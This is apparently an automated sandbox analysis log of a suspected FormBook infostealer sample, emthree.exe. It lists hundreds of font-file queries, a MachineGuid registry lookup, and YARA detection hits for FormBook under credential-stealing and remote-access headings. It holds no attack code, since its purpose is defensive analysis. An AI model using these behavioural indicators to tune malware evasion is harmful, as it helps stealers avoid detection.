Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\Desktop\emthree.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Users\user\Desktop\emthree.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.2.emthree.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.emthree.exe.400000.0.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.2.emthree.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.emthree.exe.400000.0.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
